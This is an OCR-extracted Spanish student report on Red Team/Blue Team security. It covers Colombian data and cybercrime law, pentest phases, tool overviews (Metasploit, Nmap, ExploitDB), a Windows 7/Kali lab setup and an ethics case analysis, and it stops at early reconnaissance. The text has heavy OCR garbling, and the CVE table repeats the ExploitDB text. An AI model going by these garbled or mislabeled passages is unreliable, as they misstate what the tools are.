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Resumen
Este trabajo presenta un informe técnico enfocado en estrategias de seguridad de la informacién
en consecuencia con las acciones planteadas en el seminario especializado en equipos Red Team
y Blue Team. Se expone el desarrollo de los casos aplicados a la seguridad de la organizacion
CyberFort Technologies, estructurado en varias etapas: conceptos fundamentales sobre equipos
de seguridad, actuacion ética y legal, ejecucion de pruebas de intrusion y, finalmente, contencion
de ataques informaticos.
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Abstract
This technical report focuses on cybersecurity strategies linked to actions proposed in the
specialized seminar on Red Team and Blue Team operations. It outlines the development of
cases applied to CyberFort Technologies, structured in stages: foundational concepts of security
teams, ethical and legal practices, penetration testing, and attack containment measures.
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Introduccion

En la actualidad, la proteccion de la informacion es un pilar fundamental para garantizar
la seguridad de las organizaciones. Colombia, mediante su legislacion en proteccion de los datos
personales y delitos informaticos, establece directrices esenciales para enfrentar los retos del
entorno digital.

Ademas, los procesos de pentesting y el analisis forense son herramientas clave para
identificar vulnerabilidades y gestionar incidentes cibernéticos. Este proyecto busca no solo
comprender las implicaciones legales y éticas que surgen en escenarios reales, como el caso de
“Ciberespionaje y Etica en CyberFort Technologies," sino también explorar el uso practico de
herramientas de ciberseguridad, evaluar vulnerabilidades y responder eficazmente ante
amenazas.

La combinacidn de analisis legal, técnico y operativo se presenta como un enfoque
integral para fortalecer la resiliencia cibernética y promover una cultura de seguridad y ética en

el entorno empresarial.
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Justificacion

La acelerada transformacion digital y el incremento de las amenazas cibernéticas han
generado una creciente necesidad de proteger los datos y sistemas criticos en las organizaciones.
Este proyecto se justifica por la relevancia de integrar conocimientos legales, éticos y técnicos
para garantizar la proteccion de la informacion, un pilar clave en el ambito empresarial.

En Colombia, la normatividad legal sobre la proteccion de datos personales y delitos
informaticos establece parametros para salvaguardar la privacidad y prevenir actividades ilicitas,
lo que demanda una comprension clara y practica por parte de las organizaciones.
Adicionalmente, el anélisis de casos como "Ciberespionaje y Etica en CyberFort Technologies"
evidencia las implicaciones legales y éticas de las decisiones empresariales, resaltando la
necesidad de adoptar comportamientos responsables que alineen la operacion con estandares
legales y morales.

Desde el enfogue técnico, la implementacion de ejercicios de pentesting y simulaciones
de ataques proporciona una vision practica y critica para identificar y mitigar vulnerabilidades,
fortaleciendo la ciberseguridad de manera proactiva. Por otro lado, la capacidad de responder en
tiempo real a incidentes cibernéticos mediante herramientas gratuitas y estrategias eficientes
resulta crucial para minimizar impactos y asegurar la continuidad del negocio.

Este proyecto, por tanto, se fundamenta en la necesidad de abordar de forma integral los
desafios legales, éticos y operativos que enfrenta la ciberseguridad, promoviendo no solo
salvaguardar la informacién, sino también garantizar el cumplimiento de las normas y la

construccién de una cultura organizacional solida y resiliente frente a los riesgos digitales.
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Objetivos
Objetivo General

Fortalecer la proteccion de la informacion empresarial a traves del estudio de la
normativa aplicable en Colombia, el estudio de casos practicos, y la implementacion de
metodologias y herramientas de ciberseguridad, promoviendo el cumplimiento legal, la ética
corporativa, y la capacidad de respuesta ante incidentes cibernéticos.

Objetivos Especificos

Reconocer en la normativa actual en Colombia relacionada con la proteccion de datos
personales, asi como también los delitos informaticos, los procesos de pentesting y las
herramientas utilizadas en ciberseguridad, para comprender su relevancia y aplicacion en la
proteccion de la informacion.

Analizar los anexos y el caso de "Ciberespionaje y Etica en CyberFort Technologies"
para identificar y evaluar las implicaciones legales y éticas presentes y formular
recomendaciones que promuevan la conformidad legal y el comportamiento €tico en la
organizacion.

Describir de manera detallada las herramientas de software utilizadas, los resultados
obtenidos en cada una de ellas, y el proceso llevado a cabo para identificar y explotar un fallo de
seguridad en una maquina con sistema operativo Windows 7, dentro del marco de un ejercicio
Red Team.

Implementar analisis técnico y operativo para contener un ataque cibernético en tiempo
real, empleando herramientas gratuitas y metodologias efectivas que permitan minimizar el

impacto del ataque y fortalecer la seguridad organizacional.
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Etapa 1
Margen Legal Colombiano

Para establecer la normatividad y legislacion actual en Colombia, es importante
mencionar los siguientes soportes juridicos, asi:

Ley 1266 de 2008. Ley de Proteccion de Datos Personales

Por la cual se dictan las disposiciones generales del habeas data y se regula el manejo de
la informacion contenida en bases de datos personales, en especial la financiera, crediticia,
comercial, de servicios y la proveniente de terceros paises y se dictan otras disposiciones.?

Esta ley regula cdmo las organizaciones del sector publico y privado gestionan la
informacion personal. Establece derechos para los propietarios de los datos, como la posibilidad
de acceder, corregir o eliminar su informacion. Ademas, impone obligaciones a las
organizaciones que procesan esos datos, como obtener el consentimiento del titular y adoptar
medidas de seguridad para proteger la informacion.

Ley 1581 de 2012. Proteccion de Datos Personales

Por la cual se dictan disposiciones generales para la proteccion de datos personales.?

Esta ley estatutaria Define el marco general para la salvaguarda de los datos personales en
Colombia, Introduce principios como la legalidad, la finalidad, la veracidad y la seguridad. Crea
el derecho a la Habeas Data, que permite a los ciudadanos acceder, conocer y corregir su
informacion personal. También establece la Superintendencia de Industria y Comercio (SIC)

como la autoridad de proteccion de datos.

1 secretarfa Juridica Distrital. (31 de diciembre de 2008). Obtenido de Ley 1266 de 2008 Congreso de la Republica de Colombia:
https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34488

2 funcién Pablica. (18 de octubre de 2012). Obtenido de Ley Estatutaria - 1581 DE 2012:
https://mwww.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981


http://www.bogotajuridica.gov.co/sisjur/normas/Norma1.jsp?i=34488
http://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
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Ley 1273 de 2009 - Delitos Informaticos

Por medio de la cual se modifica el Codigo Penal, se crea un nuevo bien juridico
tutelado - denominado "de la proteccion de la informacién y de los datos™- y se preservan
integralmente los sistemas que utilicen las tecnologias de la informacién y las comunicaciones,
entre otras disposiciones.?

Modifica el Cédigo Penal para incluir delitos relacionados con el empleo de tecnologias
digitales. Tipifica delitos como el acceso indebido a sistemas informaticos, la interceptacion de
informacidn y la alteracion o destruccion de datos. Establece penas especificas para estas
conductas, promoviendo la proteccion de la informacion y la privacidad.

Ley 1712 de 2014 — Ley de Transparencia y Acceso a la Informacion Publica
Por medio de la cual se crea la Ley de Transparencia y del Derecho de Acceso a la
Informacién Publica Nacional y se dictan otras disposiciones.*

Aunque no es exclusivamente sobre datos personales, Fomenta el derecho a obtener
informacion publica y garantiza la transparencia en la administracion del sector publico.
Establece mecanismos que permiten a los ciudadanos consultar la informacién en poder del
Estado, fortaleciendo la rendicion de cuentas.

Decreto 338 DE 2022- Ciberseguridad - TICS.
Por el cual se adiciona el Titulo 21 a la Parte 2 del Libro 2 del Decreto Unico 1078 de
2015, Reglamentario del Sector de Tecnologias de la Informacién y las Comunicaciones, con el

fin de establecer los lineamientos generales para fortalecer la gobernanza de la seguridad

3 funcién Publica. (5 de enero de 2009). LEY 1273 DE 2009:

https://mww.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
4 funcién Plblica. (6 de marzo de 2014). Ley 1712 de 2014:

https:/mwww.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=56882


http://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
http://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=56882
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digital, se crea el Modelo y las instancias de Gobernanza de Seguridad Digital y se dictan otras
disposiciones®

Esta ley busca fortalecer la ciberseguridad en el pais, estableciendo un marco normativo
que promueve la respuesta a incidentes cibernéticos. Incluye medidas para garantizar la
seguridad de infraestructuras (criticas) y fomentar la colaboracion a nivel internacional. en
materia de ciberseguridad en aras de fortalecer la gobernanza Digital en el Pais.
Etapas del Pentesting

En la definicion del pentesting o pruebas de penetracion, se puede establecer que son las
técnicas establecidas o desarrolladas para validar la seguridad de una infraestructura tecnoldgica,
un sistema o red al simular un ataque real en ambiente controlado. Estas pruebas se estructuran
generalmente en varias etapas, que permiten ejecutar un conjunto de acciones para garantizar la
implementacién del acceso o la validacion de las fortalezas de la plataforma tecnoldgica a
evaluar, entre las cuales podemos validar las siguientes:
Tablal

Etapas del Testing

Fase Descripcion Actividades

Definicion de objetivos y alcances,

L estableciendo el alcance del pentesting,  Identificacion de Sistemas por evaluar
Planificacion ) o L
cuales sistemas, aplicaciones o red se Obtener Autorizacién

van a evaluar.

o ) . ] Validar datos de dominio, direcciones IP,

o Recopilacion de la informacion posible ) ) o ) ]
Reconocimiento o informacion del sistema, Servicios en ejecucion,
sobre el objetivo. N ]

se puede utilizar herramientas como Nmap.

S funcién Pablica. (8 de marzo de 2022). Obtenido de DECRETO 338 DE 2022 - Ministerio De Tecnologias De La Informacion:
https://mwww.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=181866


http://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=181866
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Fase Descripcion Actividades
Identificacidn de las vulnerabilidades
. o El uso de herramientas como Nessus, OpenVAS
presentes en los sistemas y servicios o N )
Escaneo nos permite identificar debilidades del sistema

Explotacion

Post-explotacion

Anélisis y Reporte

Revision

descubiertos durante el

reconocimiento.

Después de la fase de Escaneo, se
realiza actividades para explotar estas

vulnerabilidades.

En esta fase es importante entender que
se va a realizar con los accesos
obtenidos a través de las

vulnerabilidades descubiertas.

En esta fase se realiza el informe para
documentar los hallazgos y

vulnerabilidades descubiertas.

Fase de revision posterior a la prueba
para validar las remediaciones y

actividades de mitigacion.

en evaluacion.

Explotar las vulnerabilidades descubiertas para
obtener acceso al sistema objetivo.

Obtener Acceso no autorizado o elevacion de
privilegios.

Mediante herramientas como Metasploit
ejecutar codigo para ampliar la posibilidad de
ampliar las vulnerabilidades.

Recopilacion de informacion adicional.
Escalada de privilegios

En casos movimientos laterales dentro de la red.
Realizar tareas adicionales de ampliacién del
objetivo a través de herramientas especializadas
como Empire, Wireshark entre otros.

Informar Impacto potencial de los hallazgos y/o
vulnerabilidades descubiertas.

Recomendacidn para mitigar los riesgos.
Actividades para toma de decisiones y medidas
correctivas.

Uso opcional de herramientas de gestion de
informes como Dradis, para documentar
hallazgos de forma efectiva

En ocasiones se realiza escaneos posteriores a la
remediacion.

El uso de herramientas como Burp Suite
permiten usar escaneos posteriores a la

explotacion para validar la remediacion.

Nota. Las diferentes etapas para realizar un testing exitoso.



Herramientas y Servicios en Linea

En el campo de la ciberseguridad es

importante conocer las herramientas y servicios

disponibles para la validacion y ejecucién de vulnerabilidades de forma técnica, que permita

asegurar los mejores resultados, por lo cual se traen a colacion las siguientes herramientas:

Metasploit.®
Tabla 2

Metasploit

Metasploit

Uso

Herramienta de trabajo Para la creacion y ejecucion
de programas o técnicas que aprovechan
vulnerabilidades, que permite simular ataques a
sistemas y plataformas tecnoldgicas con el
proposito de descubrir y explotar vulnerabilidades.
Web oficial: https://mwww.metasploit.com/

Identificar vulnerabilidades en los sistemas informaticos y
probar su seguridad.

Ejemplo: Se pueden lanzar ataques para comprobar si un
sistema esta expuesto a una vulnerabilidad especifica,
como una inyeccion de cddigo.

Licencia: Uso Libre — Cddigo Abierto.

Nota. Caracteristicas y uso de la herramienta Metasploit.

Nmap
Tabla 3

Nmap (Network Mapper)

Nmap (Network Mapper)

Uso

Herramienta empleada para el escaneo y
auditoria de redes, que facilita la deteccién de
hosts y servicios en una red, asi como
determinar los puertos abiertos y los sistemas
operativos que estan en uso.

Web oficial:

https://nmap.org/man/es/index.html

Es util en la fase de reconocimiento del Pentesting, donde se
mapean los dispositivos conectados y se obtienen detalles
sobre la infraestructura de red.

Ejemplo: Un pentester puede usar Nmap para identificar qué
servicios estan corriendo en un servidor especifico.
Licencia:

Uso Libre — Cddigo Abierto.

Nota. Caracteristicas y uso de la herramienta NMAP

6

Metasploit. (21 de mayo de 2023). Obtenido de La herramienta esencial en Ciberseguridad:

https://www.campusciberseguridad.com/blog/item/180-metasploit-herramienta-esencial-ciberseguridad


http://www.metasploit.com/
http://www.campusciberseguridad.com/blog/item/180-metasploit-herramienta-esencial-ciberseguridad

OpenVAS

Tabla 4

OpenVAS
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Openvas

(open vulnerability assessment system)

Uso

Herramientas para validar el entorno de seguridad de
un sistema mediante la identificacion de
vulnerabilidades conocidas y configuraciones

incorrectas.

Web oficial:

https://www.openvas.org/

Utilizado en la etapa de escaneo del pentesting para

detectar vulnerabilidades en los sistemas.

Ejemplo: Los pentesters pueden configurar escaneos

personalizados y generar informes sobre las

debilidades encontradas, lo que ayuda a priorizar las

correcciones necesarias.
Licencia:
Uso Libre — Codigo Abierto.

Nota. Caracteristicas y uso de la herramienta OpenVAS

ExploitDB.

Tabla 5

Exploit

Exploits

Uso

Es una plataforma en linea (base de datos) que
recopila exploits, pruebas de concepto y
vulnerabilidades. Ofrece Una herramienta
invaluable para investigadores y expertos en
seguridad, permitiendo buscar y descargar exploits

especificos para diversas plataformas y software.

Web oficial:

https://www.exploit-db.com/

Los pentesters pueden utilizar ExploitDB para
encontrar exploits que correspondan a las
vulnerabilidades que han identificado en un sistema,
facilitando la creacion de pruebas mas efectivas.
Ejemplo: Un pentester podria usar un exploit para
probar la vulnerabilidad en un entorno controlado,
asegurandose de tener permiso para hacerlo, con el
fin de evaluar el riesgo y ayudar a la organizacion a
implementar medidas de mitigacion.

Licencia:

Uso Libre y Consulta.

Nota. Caracteristicas y uso de la herramienta OpenVAS


http://www.openvas.org/
http://www.exploit-db.com/
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CVE. (Common Vulnerabilities and Exposures)

Tabla 6

Common Vulnerabilities And Exposures

CVE

(Common Vulnerabilities And Exposures)

uso

Es un sistema de clasificacion que asigna
identificadores Unicos a las vulnerabilidades de
seguridad y exposiciones en aplicaciones. Cada entrada
en la base de datos CVE describe una vulnerabilidad
especifica y proporciona informacion adicional sobre

su impacto y solucién.

Web oficial:

https://cve.mitre.org/

Los pentesters pueden utilizar ExploitDB para
encontrar exploits que correspondan a las
vulnerabilidades que han identificado en un sistema,
facilitando la creacion de pruebas mas efectivas.
Ejemplo: Un pentester podria usar un exploit para
probar la vulnerabilidad en un entorno controlado,
asegurandose de tener permiso para hacerlo, con el fin
de evaluar el riesgo y ayudar a la organizacion a
implementar medidas de mitigacion.

Licencia:

Uso Libre y Consulta.

Nota. Caracteristicas y uso de la herramienta CVE.

Banco de Trabajo

Analisis e instalacion de Banco de Trabajo, a través de los siguientes pasos.

Descargue Herramienta Virtual Box para entorno de trabajo

Figural

Descarga Virtual Box

15 VirtualBox

VirtualBox Platform Packages
VirtualBox 7.1.2 platform packages

RS windows hosts
macos / Intel hosts

nal Use and Educational License

Ky sotaris 11195 hosts

Platform packages are released under the terms of the GPL version 3

i e

[Accept and download

Nota. Descarga del software libre en el sitio web https://www.virtualbox.org/.



http://www.virtualbox.org/

Figura 2

Instalacion Virtual Box

ﬂ Oracle VirtualBox 7.1.2 Setup

Oracle VirtualBox 7.1.2
installation is complete.

Click the Finish button to exit the Setup Wizard.

Start Oradle VirtualBox 7. 1.2 after installation

Version 7.1.2 < Back

Nota. Instalacion del software Oracle VirtualBox 7.1.2
Figura 3

Configuracién Virtual Box

5 Oracle VirtualBox Administrador - [m] X

Archivo  Maquina  Ayuda

e 220 ¢ O R & op

Preferencias  Importar Exportar  Nueva Afadir

iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas globales y una lista de todas las
maquinas virtuales y grupos de ma virtuales en su ¢ d Puede importar, afiadir
y crear nuevas MVs usando los botones ¢ pondi de la barra de i Puede
abrir un «popup» del elemento seleccionado actualmente usando el botén de elemento
correspondiente. Puede presionar la tecla F1 para obtener ayuda instantanea o visitar
www.virtualbox.org para mas informacién y las Gltimas noticias.

Please choose Experience Mode! Basic Mode

By default, the VirtualBox GUI is hiding some options, tools and wizards. Expert Mode
The Basic Mode is intended for those users who are not interested in advanced functionality
and prefer a simpler, cleaner interface.

The Expert Mode is intended for experienced users who wish to utilize all VirtualBox
functionality.

You can choose whether you are a beginner or experienced user by selecting required option at
the right. This choice can always be changed in Global Preferences or Machine Settings
windows.

Nota. Instalacién del software Oracle VirtualBox 7.1.2
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Figura 4

Instalaciéon Entorno Windows en Virtual Box

15 Oracle VirtualBox Administrador - ] x
Archivo  Maquina  Ayuda

i — an @

Nueva Afadir ~Configuracion D

_ ESISeg.DB =] General [=] Previsualizacién
= Nombre: Win7-DU

Win7-DU g: Sisterna operativo:  Windows 7 (64-bit)

@ Apagada —  Grupos: ESI Seg. DB
[®] Sistema
Memoria base: 1028 MB
Orden de arranque: ~ Optica, Disco duro
Aceleracién: Paginacién anidada, Paravirtualizacién Hyper-V
[ Pantalla
Memoria de video: 18 MB
Controlador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabaci6n: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATAG:  Win7-SE2020-X64-diisk001.vdi (Normal, 50,00 GB)
Puerto SATAT:  [Unidad 6ptica] Vacio

{n Audio
Controlador de anfitrién: Windows DirectSound
Controlador: Audio Intel HD
& Red
Adaptador 1: Intel PRO/1000 MT Desktop (NAT)
£ uss

__

Nota. Instalacion Entorno Windows en Virtual Box.
Figura 5

Ejecucion Windows 7 en Virtual Box

:'Zﬂ Win7-DU [Corriendo] - Oracle VirtualBox - ] X

Archivo Maquina Ver Entrada Dispositivos Ayuda

9

Firefox

e

Panel de control

32\cmd.exe

comience con EL.
> ipconfig /release *Con¥ ... Libera todas las conexiones
coincidente por ejemplo:
"Conexidén de area local 1" o
“"Conexidén de -
> ipconfig s/allcompartments «-. Muestra informacidén sobre todos
los compartimien .
> ipconfig /allcompartments /all ... Muestra informac detallada sobre
todos los compartimientos

IC:\U usuario>ping 192.168.1.14

Haciendo pin 192.168.1.14 con 32 bhytes de datos:
R 1.14: byt 2 tiempo<im TTL=64
14: 2 tiempo<{im TTL=64
14: 2 tiempo<im TTL=64
192.168.1.14: 2 tiempo<{im TTL=64

[Estadistica ping para 192.168.1.14:
Paquete enviados = 4, recibidos = 4, perdidos = @
(Bxz perdidos).

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = @Bms, Maximo = @ms, Media = @ms

Nota. Ejecucion Windows 7 en Virtual Box y configuracion de red local.
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Figura 6

Instalacion Entorno Kali Linux Version 2024

@@ o )58 E® e cr derecha

Nota. Instalacion entorno Kali Linux version 2024 y configuracion red local.
Figura7

Ping Linux — Windows

3 dminitidor: CAWindows sptem2s v exe

Nota. Ping desde entorno local en Windows hacia el entorno kali Linux para validacion de

conexion local entre maquinas virtuales.
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Etapa 2
Anexo 2 — Escenario 3

En referencia al fragmento establecido, se puede establecer algunos posibles procesos
ilegales y/o no éticos de acuerdo a la lectura, dentro de los aspectos mas relevantes se puede
tener la falta de revision del contrato por parte de la empresa, mas especificos en los
responsables de la contratacion en el apartado “La alta gerencia no revisé los contratos con los
que se reclutara el nuevo personal” tomando como referencia que La falta de revision de un
contrato, que fue creado por un abogado que fue despedido por posibles acciones en procesos
ilicitos con anterioridad al interior de la empresa, se puede observar una negligencia de los
responsables de la contratacion dentro de la empresa, que resultar en la inclusion de clausulas
ilegales o abusivas que podrian comprometer tanto a la organizacion como a los empleados.

Ya de hecho se deben revisar tanto los contratos anteriores establecido por ese empleado
despedido, como la proyeccién de las personas que se contrataran a futuro, que garanticen la
objetividad y transparencia en las reglas de trabajo, asi como en las clausulas, funciones y
responsabilidades dentro del objeto contractual.

Es importante dentro del andlisis del documento validar los incumplimientos en la
formalizacidn de acuerdos de confidencialidad, dentro de los aspectos mas relevantes se puede
establecer que en el texto se evidencia una posible falta de diligencia en la verificacion de estos
acuerdos cri"la gerencia solicita tener suma precaucion antes de firmar el contrato y acuerdos
de confidencialidad estipulados para el fin de contratacion de personal” ticos. Si los términos de
confidencialidad no son revisados y ajustados a la normativa, esto podria comprometer la
seguridad de la informacion y exponer tanto a la organizacién como a sus empleados a riesgos

de privacidad.
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Por otro lado, es importante validar el contexto de “clasificar una primera misién a la cual
deberian dar respuesta en poco tiempo Yy trabajar bajo presion.”, donde por parte de la
organizacion establece como valor objetivo como prueba para el equipo Read Team y Blue Team
trabajar de forma acelerada y bajo presion, estas practicas en ciberseguridad pueda dar pie a
errores técnicos por parte de los equipos al querer entregar resultados dptimos desde la rapidez y
la presion que puede influir de forma negativa para el bienestar del entorno laboral y las posibles
pérdidas econdmicas que esto pueda ocasionar.

Anexo 3 — Vulneracion Ley 1273 de 2009’

En el andlisis del Acuerdo proporcionado en el Anexo 3, podria observarse que algunos
términos y obligaciones establecidos podrian infringir articulos de la Ley 1273 de 2009 de
Colombia, que reforma el Cadigo Penal en relacién con los delitos informaticos y la proteccion
de la informacion y de los datos. Aqui algunos puntos clave:

Articulo 269A - Acceso Abusivo a un Sistema Informatico
El acuerdo establece que la parte receptora debera abstenerse de reportar actividades de
espionaje o cualquier otro acto relacionado con la sustraccion de informacidn de terceros. Esta
disposicién podria interpretarse como una limitacién al derecho y obligacion de denunciar cualquier
acceso no autorizado o abuso de sistemas informaticos, lo que contravendria la Ley 1273, que

penaliza tales acciones para proteger la integridad y seguridad de la informacion.

7 funcién Pablica. (05 de enero de 2009). Obtenido de Ley 1273 de 2009:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492


http://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
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Figura 8

Art 269 - A

2. Cualquier informacion societaria, técnica, juridica, financiera,
comercial, de mercado, estrategica, de productos, nuevas
tecnologias, patentes, modelos de utilidad, disefios industriales,
datos secretos como "“datos de chuzadas, interceptacion de
informacion, accesos abusivos a sistemas informaticos”.

parte receptora tenga conocimiento o a la que tenga acceso
por cualquier medio o circunstancia en virtud de las reuniones
sostenidas y/o documentos suministrados.

Nota. Imagen consultada y sustraida en https://www.funcionpublica.gov.co
Articulo 269B: Obstaculizacidn llegitima de Sistema Informatico o Red de Telecomunicacién se

vulneraria en el contexto del acuerdo si este genera limitaciones o prohibiciones sobre procesos
ilegales que puedan afectar a CyberFort Technologies, obstaculizando indirectamente la
capacidad de respuesta y la proteccion contra interferencias o ataques.

Figura 9

Art. 269-B

Primera. Objeto: en virtud del presente acuerdo de
confidencialidad, |la parte receptora, se obliga a no divulgar directa,
indirecta, proxima a remotamente, ni a través de ninguna otra persona
o de sus subalternos o funcionarios, autoridades legales, asesores o
cualquier persona relacionada con ella, la informacion confidencial
o sobre procesos ilegales dentro de CyberFort Technologies no
podran ser divulgados.

Nota. Imagen consultada y sustraida en https://www.funcionpublica.gov.co
Articulo 269C - Interceptacion de Datos Informaticos: El acuerdo contiene términos ambiguos
que podrian interpretarse como una falta de obligacion de denunciar practicas de interceptacion

de informacion. Esto vulneraria el articulo que prohibe y sanciona la interceptacidn no autorizada
de datos, dado que omitir la denuncia y restringir la intervencion de las autoridades seria
equivalente a fomentar la violacion de la ley.


http://www.funcionpublica.gov.co/
http://www.funcionpublica.gov.co/
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Figura 10

Art. 269-C

2. Proteger la informacion confidencial, sea verbal, escrita,
visual, tangible, intangible o que por cualquier otro medio reciba,
siendo legitima poseedora de la misma CyberFort
Technologies, restringiendo su uso exclusivamente a las
personas que tengan absoluta necesidad de conocerla.

Nota. Imagen consultada y sustraida en https://www.funcionpublica.gov.co

Acrticulo 269D - Dafo Informatico: La clausula que impide a la parte receptora reportar
actividades sospechosas 0 de espionaje puede ser problematica si se evidencia un dafio o
modificacion en la informacion de sistemas informéticos. Al inhibir la denuncia, se dificulta la
proteccion de los sistemas y datos, afectando la seguridad informatica, lo cual esta contemplado
en el articulo que sanciona el dafio a los sistemas.

Figura 11

Articulo 269-D

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacion de terceros.

4. Abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, reciba o intercambie con
ocasion de las reuniones sostenidas.

Nota. Imagen consultada y sustraida en https://www.funcionpublica.gov.coArticulo 269F - Violacion
de Datos Personales: En lo particular creo que se puede ver comprometido si el acuerdo del Anexo 3
limita la denuncia de incidentes que impliquen la violacion de datos personales. Este aspecto podria
facilitar el uso indebido de datos personales, ya que inhibe una respuesta adecuada a posibles accesos
no autorizados o usos inapropiados de dicha informacion, en contravencion con lo establecido en la
Ley 1273.


http://www.funcionpublica.gov.co/
http://www.funcionpublica.gov.co/

Figura 12

Art. 269-F

Octava. Solucion de controversias: Las partes (nombre estudiante
- nombre empresa) se comprometen a esforzarse en resolver
mediante los mecanismos alternativos de solucion de conflictos
cualquier diferencia que surja con motivo de la ejecucion del presente
acuerdo. En caso que la informacion ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a
CyberFort Technologies.

Nota. Imagen consultada y sustraida en https://www.funcionpublica.gov.co. Articulo 269H -
Circunstancias de agravacion punitiva: podria ser aplicable si las restricciones del acuerdo
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contribuyen a un entorno donde las actividades ilicitas relacionadas con datos sensibles o sistemas de

confianza no sean denunciadas, facilitando una infraccion con agravantes segun la Ley 1273.

Figura 13

Art. 269-H

9. La parte receptora se obliga a no transmitir, comunicar revelar
o de cualquier otra forma divulgar total o parcialmente, publica
o privadamente, la informacion confidencial o ilegal sin el
previo consentimiento por escrito por parte de CyberFort
Technologies.

Nota. Imagen consultada y sustraida en https://www.funcionpublica.gov.co


http://www.funcionpublica.gov.co/
http://www.funcionpublica.gov.co/
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Analisis Propuesta Laboral

Como experto en ciberseguridad, la decision de aplicar depende de varios factores, en
referencia temas relevantes como el atractivo aspecto salarial, asi como un contrato vitalicio de
por medio, pero también esta de por medio los riesgos que se asumen con los aspectos
contractuales descritos mediante el acuerdo de confidencialidad que se debe firmar.

Por tanto, tomando como referencia aspectos fundamentales dentro de mi Etica
Profesional no aplicaria a este tipo de ofertas, especialmente temas donde se restringe la
denuncia de actividades sospechosas y/o ilegales, como se sugiere en el acuerdo del Anexo 3,
que podrian contradecir principios éticos propios y las mejores practicas en ciberseguridad.
Dentro de mi parecer la confidencialidad y la transparencia son fundamentales para garantizar la
integridad de la informacion y proteger a la organizacion y a sus clientes.

En otro aspecto, el riesgo legal y reputacional para mi es muy importante dentro de los
marcos de contratacion y en especial este se puede incurrir en procesos de caracter legal sobre el
conocimiento de procesos o procedimientos ilegales dentro de la empresa, siendo el responsable
de la seguridad informatica se puede comprometer las actividades propias de los cumplimientos
legales sobre seguridad de la informacion en especial lo referente con los delitos informaticos.
Caso Ciberespionaje y Etica en CyberFort Technologies

Un caso muy complejo de abordar, por ser de alto impacto gubernamental y aspectos
relevantes al interior del estado, este caso de CyberFort Technologies destaca un dilema serio y
muy preocupante en ciberseguridad, donde las empresas tienen la responsabilidad de manejar
informacidn sensible con integridad y profesionalismo. En este caso, el acceso privilegiado de

CyberFort fue usado de manera inapropiada para recopilar y comercializar informacién
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confidencial sin autorizacién, lo que compromete la confianza de los clientes y afecta la
reputacion del sector, para este caso de la empresa misma.

Legalmente, las acciones de los empleados de CyberFort podrian ser consideradas
Ciberespionaje y violacion de privacidad, infringiendo la normatividad sobre proteccion de datos
y confidencialidad. La venta de informacidn sin autorizacion puede conllevar cargos adicionales
como espionaje corporativo y malversacion de informacion confidencial.

Pregunta 1 — Acceso Informacion Sensible en Auditorias

Aqui es muy importante validar el alcance de los accesos requeridos, donde las empresas
de ciberseguridad deben acceder Unica y estrictamente a informacion necesaria para las
auditorias, sin extralimitar sus funciones a temas o accesos a otra data no autorizada, siendo
imperioso la definicidn del alcance, el tipo de informacion y las restricciones sobre los datos y
los sistemas de informacion.

De igual forma, para prevenir el mal uso del acceso, se debe implementar politicas de
seguridad robustas que supervisen y registren las actividades de los usuarios durante las
auditorias. Esto incluye la limitacion de permisos en funcion del roles y responsabilidades al
interior de las auditorias internas y externas para asegurar el cumplimiento de las normas
internas.

Pregunta 2 — Mecanismos de Supervision

Para prevenir el uso indebido de herramientas de analisis forenses en ciberseguridad es

importa establecer mecanismos de supervision y controles estrictos que permita limitar el uso a

los usuarios de acuerdo con los permisos establecidos:

K/

X2 Control de Acceso y Segmentacion de Permisos.

X Monitoreo de Actividades y Registro de Acciones (Logs).
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X Auditorias Internas y Externas.
X Politicas de Confidencialidad y Responsabilidad Etica.
X Sistema de Autorizaciones y Supervision Directa.

X Capacitacion Continua en Etica y Responsabilidad Digital.

7
A X4

Implementacion de Tecnologia de Prevencion y Deteccion de Amenazas Internas.

Pregunta 3 — Respuesta Gubernamental Actos Ciberespionaje

La respuesta por entidades gubernamentales debe ser rapido, contundente y transparentes
mediante protocolos claros y precisos que den cobertura a aspectos legales, éticos y judiciales.

A través de sus agencias especializadas establecidas para el control de los entornos
cibernéticos debe plantear la realizacion de investigaciones internas de tipo legales y auditorias
externas que permitan investigar el alcance de las posibles violaciones de seguridad, asi como la
responsabilidad de los actores de cada evento o incidente, también es importante la colaboracion
con organismos reguladores, agencias de inteligencias y los organismos judiciales para que se
logre establecer responsabilidades y acciones que sienten precedentes antes actuaciones de
ciberespionaje.

De acuerdo con los resultados de las investigaciones, se debe estimar los tipos de
sanciones a nivel econémico como de términos de contratacion en aquellos eventos que o
ameriten o se puedan tomar este tipo de decisiones, asi como la implementacién de criterios mas
estrictos sobre la seleccion de proveedores, evaluando sus competencias técnicas, asi como

historial ético y reputacional.



Etapa 3

Descripcion Herramientas De Software

Fase de Recoleccion de la Informacion

Windows 7. En este aspecto podemos identificar el equipo al cual se le practicara el
ejercicio de escaneo el cual contamos con un sistema operativo basado en x64 — Microsoft
Windows 7 Professional SP1 Compilacion7601 de nombre de equipo PC202006_DU, este

equipo de coOmputo tiene un usuario de ingreso sin contrasefia de acceso, la direccion IP asignada

es la 192.168.1.10.

Figura 14

Recoleccién Informacién

W Win7-DU [Corriendo] - Oracle VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

«&‘ & Informacion del sistema

Archivo Editar Ver Ayuda

Resumen del sistema)

(- Recursos de hardwar
- Componentes
(- Entorno de software

Elemento

Sistema operativo

Version

Descripcion adicional del siste...
Fabricante del sistema operativo
Nombre del sistema

Fabricante del sistema

Modelo del sistema

Tipo de sistema

Procesador

